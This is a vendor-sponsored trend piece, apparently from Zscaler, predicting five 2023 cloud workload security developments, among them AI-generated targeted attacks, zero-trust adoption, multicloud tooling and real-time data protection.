Organizations are looking for new methods to safeguard the virtual machines, containers, and workload services they use in the cloud.

In 2022, we saw explosive transitions in the cloud security market — every aspect of the ecosystem, including vendors, products, and infrastructure, went through a radical change. It birthed new categories like data security posture management (DSPM), saw established vendors jumping to announce cloud data lakes like Amazon Security Lake, and put vendors through turmoil, like KnowBe4 being acquired by Vista Equity for $4.3 billion.

As we look forward to 2023, cybersecurity for workloads (virtual machines, containers, services) in the public cloud will continue to evolve, with customers trying to balance the need for aggressive cloud adoption and compliance with security needs. CIOs and CISOs will challenge their teams to build the foundation for a security platform that can consolidate point products, support multiple clouds (AWS, Azure, and GCP), and leverage automation to scale security operations. A zero-trust architecture will lead the way to workload protection in the cloud, real-time data protection, and centralized policy enforcement. Here’s a deeper dive into how these five dynamics will make their presence felt in 2023 with public cloud workloads.

**Generative Attacks Will Become Targeted and Personalized**

Automation and machine learning empower cybercriminals to launch sophisticated, targeted attacks. Scripted botnets can conduct network reconnaissance on cloud infrastructure, and valuable data can be harvested and used to launch further attacks. Malware packages are becoming a commodity, with readily available automated tools in which the level of abstraction enables even unimaginative minds to become lethal. For example, ChatGPT, which has taken the tech world by storm, can use machine learning to auto-script malware.

Cyberthreat researcher @lordx64 shared an example of malware auto-generated by ChatGPT. The malware used PowerShell to download ransomware using an obfuscation script, encrypt all the files, and exfiltrate the key to google.com.

**Centralized Security Posture Will Become the Norm to Tackle Workload Sprawl**

Misconfigurations due to human error remain the biggest root cause of cyberattacks. Many attacks use techniques such as code injection and buffer overflow to prey on weak configurations. With the cloud enabling workloads to be spun up and down frequently, configuring security policies at individual firewalls at every virtual private cloud (or a trust zone) opens the door for human error.

Organizations will increasingly look for architectures that can centralize cloud security policy definitions, enforcements, and remediations. Only when cyber prevention is delivered from a central platform can defense be applied to all workloads, instead of just a few select ones.

**Zero-Trust For Workload Protection Will Gain Momentum**

Zero trust will see widespread adoption to protect assets by enforcing an explicit trust framework for all assets in the public cloud. Implementing zero trust in the public cloud is different and unique because customers are dealing with ephemeral and dynamic resources. With zero trust platforms that were architectured for the cloud can bring down cost overruns and complexity. Before a workload in a public cloud can request a resource, it must go through an extensive trust check — one that combines identity, device risk, location, threat intelligence, behavioral analytics, and context. Upon successfully establishing explicit trust, the resource will then be subject to corporate security policy for access control.

**CIOs Will Look For More Effective Multicloud Security Tools**

When it comes to vendor best practices, CIOs are increasingly looking at diversified portfolios of public cloud infrastructure for three main reasons. They want to reduce reliance on a single vendor; many are also looking to integrate infrastructure inherited from mergers and acquisitions. And CIOs need to leverage best-of-breed services from different vendors, such as Google Cloud BigQuery for data analytics, AWS for mobile apps, Oracle Cloud for ERP, for example.

    

Figure: AWS shared responsibility model for protecting cloud resources.

Every cloud vendor preaches the notion of “shared security responsibility,” putting the onus on the customer to implement a security infrastructure for their cloud resources. Savvy IT shops ensure they pick a cybersecurity platform that supports multiple public cloud environments.

**Real-Time Data Protection Will Be a Core Criterion for Cloud Data Governance, Security**

Securing sensitive data such as protected health information, personally identifying information, financial information, patents, confidential corporate data, and other intellectual property is arduous when data moves to the cloud. Legacy data loss prevention (DLP) architectures that rely on regexes, scans, and static rules are insufficient and ineffective for DLP in the cloud.

The rise of the data security posture management category has provided critical visibility into the need for observability and real-time analysis. Proxy-based architectures that can decrypt and inspect all SSL traffic will become a cornerstone for enterprises that truly care about protecting their sensitive data.

Migration to the cloud is not a new trend in the corporate world, but the implications of cybersecurity for cloud workloads are still evolving. While there are no clear answers yet, these are some of the leading indicators customers will use to navigate in 2023.

Read more _Partner Perspectives_ from Zscaler.

Tag

#google